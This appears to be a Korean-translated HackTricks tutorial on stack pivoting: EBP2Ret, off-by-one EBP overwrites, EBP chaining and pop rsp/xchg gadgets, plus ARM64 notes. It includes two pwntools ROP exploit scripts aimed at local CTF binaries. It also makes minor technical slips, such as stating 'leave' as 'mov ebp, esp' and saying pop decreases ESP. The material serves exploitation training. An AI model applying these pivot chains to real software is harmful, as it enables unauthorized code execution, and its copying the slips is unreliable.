Stack Pivoting - EBP2Ret - EBP chaining

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

기본 정보

이 기술은 **베이스 포인터 (EBP)**를 조작하여 EBP 레지스터와 leave; ret 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 악용합니다.

leave는 기본적으로 다음을 의미합니다:

mov       ebp, esp
pop       ebp
ret

그리고 EBP가 EIP보다 먼저 스택에 있기 때문에 스택을 제어하여 EBP를 제어할 수 있습니다.

EBP2Ret

이 기술은 EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접적으로 변경할 방법이 없을 때 특히 유용합니다. 함수가 실행을 마치면서 동작을 활용합니다.

fvuln의 실행 중에 스택에 가짜 EBP를 삽입하여 셸코드 주소가 위치한 메모리 영역을 가리키도록 설정하면(4바이트를 pop 작업을 고려하여 더한 상태), 간접적으로 EIP를 제어할 수 있습니다. fvuln이 반환되면 ESP는 이 조작된 위치로 설정되고, 이후의 pop 작업은 ESP를 4만큼 감소시키므로, 사용자가 설정한 주소를 가리키도록 효과적으로 만듭니다. 여기서 2개의 주소를 알아야 한다는 점에 주목하세요: ESP가 이동할 위치 및 ESP가 가리키는 주소를 써야 하는 주소.

Exploit 구성

먼저 임의의 데이터/주소를 쓸 수 있는 주소를 알아야 합니다. ESP는 여기를 가리키고 첫 번째 ret를 실행할 것입니다.

그런 다음, 임의의 코드를 실행할 ret에 사용되는 주소를 알아야 합니다. 다음을 사용할 수 있습니다:

  • 유효한 ONE_GADGET 주소.

  • system() 주소 뒤에 4바이트의 쓰레기 바이트"/bin/sh" 주소(x86 비트).

  • jump esp; 가젯(ret2esp) 주소 뒤에 실행할 셸코드.

  • 일부 ROP 체인

제어 가능한 메모리의 이 부분에 이러한 주소 중 어느 것이든 사용하기 전에 4바이트가 있어야 합니다. leave 명령의 pop 부분 때문에 이 4바이트를 악용하여 두 번째 가짜 EBP를 설정하고 실행을 계속 제어할 수 있습니다.

Off-By-One Exploit

이 기술의 특정 변형인 "Off-By-One Exploit"이라고 알려진 것이 있습니다. 이는 EBP의 가장 낮은 유효 바이트만 수정할 수 있는 경우 사용됩니다. 이 경우, ret로 이동할 주소를 저장하는 메모리 위치는 EBP와 처음 세 바이트를 공유해야 하므로, 더 제약 조건으로 유사한 조작이 가능합니다. 보통 가장 멀리로 이동하기 위해 바이트 0x00을 수정합니다.

또한, 스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 놓아 새 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높일 수 있습니다.

EBP Chaining

따라서, 스택의 EBP 항목에 제어 가능한 주소를 넣고 EIPleave; ret 주소를 넣으면 ESP를 스택의 제어 가능한 EBP 주소로 이동할 수 있습니다.

이제 **ESP**가 원하는 주소를 가리키고 실행할 다음 명령이 RET인 상태입니다. 이를 악용하기 위해 제어 가능한 ESP 위치에 다음을 놓을 수 있습니다:

  • &(다음 가짜 EBP) -> leave 명령의 pop ebp로 새 EBP를 로드합니다.

  • system() -> ret에 의해 호출됩니다.

  • &(leave;ret) -> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.

  • &("/bin/sh")-> system의 매개변수

기본적으로 이 방법을 사용하여 프로그램의 흐름을 제어하는 여러 가짜 EBPs를 연결할 수 있습니다.

이는 ret2lib과 유사하지만, 명백한 이점은 없지만 일부 특수한 경우에 흥미로울 수 있습니다.

또한, 여기에는 이 기술을 사용하여 승리 함수를 호출하는 스택 누출을 사용하는 도전 과제 예제가 있습니다. 이것은 페이지의 최종 페이로드입니다:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP가 사용되지 않을 수 있음

이 게시물에서 설명한대로, 일부 최적화로 컴파일된 이진 파일의 경우 EBP는 ESP를 제어하지 못합니다, 따라서 EBP를 제어하여 작동하는 모든 exploit은 기본적으로 실제 효과가 없기 때문에 실패할 것입니다. 이는 이진 파일이 최적화되었을 때 프롤로그와 에필로그가 변경되기 때문입니다.

  • 최적화되지 않음:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • 최적화됨:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

RSP를 제어하는 다른 방법

pop rsp 가젯

이 페이지에서 이 기술을 사용한 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 사용하여 함수를 호출해야 했으며 pop rsp 가젯이 있으며 스택에서의 누출이 있었습니다:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp 가젯

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

여기서 ret2esp 기술을 확인하세요:

pageRet2esp / Ret2reg

참고 자료 및 다른 예제

ARM64

ARM64에서 함수의 프롤로그와 에필로그SP 레지스트리를 저장하고 검색하지 않습니다. 더구나 RET 명령은 SP가 가리키는 주소로 돌아가지 않고 x30 안의 주소로 돌아갑니다.

그러므로 기본적으로 에필로그를 남용하여 스택 내부의 데이터를 덮어쓰는 것으로 SP 레지스트리를 제어할 수 없습니다. 그리고 SP를 제어할 수 있다 하더라도 x30 레지스터를 제어해야 합니다.

  • 프롤로그

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • 에필로그

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

ARM64에서 스택 피봇을 수행하는 방법은 SP를 제어할 수 있어야 하며, 그 레지스터의 값이 SP로 전달되거나 SP가 스택에서 주소를 가져오는 이유가 있어야 합니다. 그런 다음 에필로그를 남용하여 제어된 SP에서 x30 레지스터를 로드하고 **RET**로 이동해야 합니다.

또한 다음 페이지에서 ARM64에서 Ret2esp의 동등한 내용을 볼 수 있습니다:

pageRet2esp / Ret2reg
제로부터 AWS 해킹을 전문가로 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated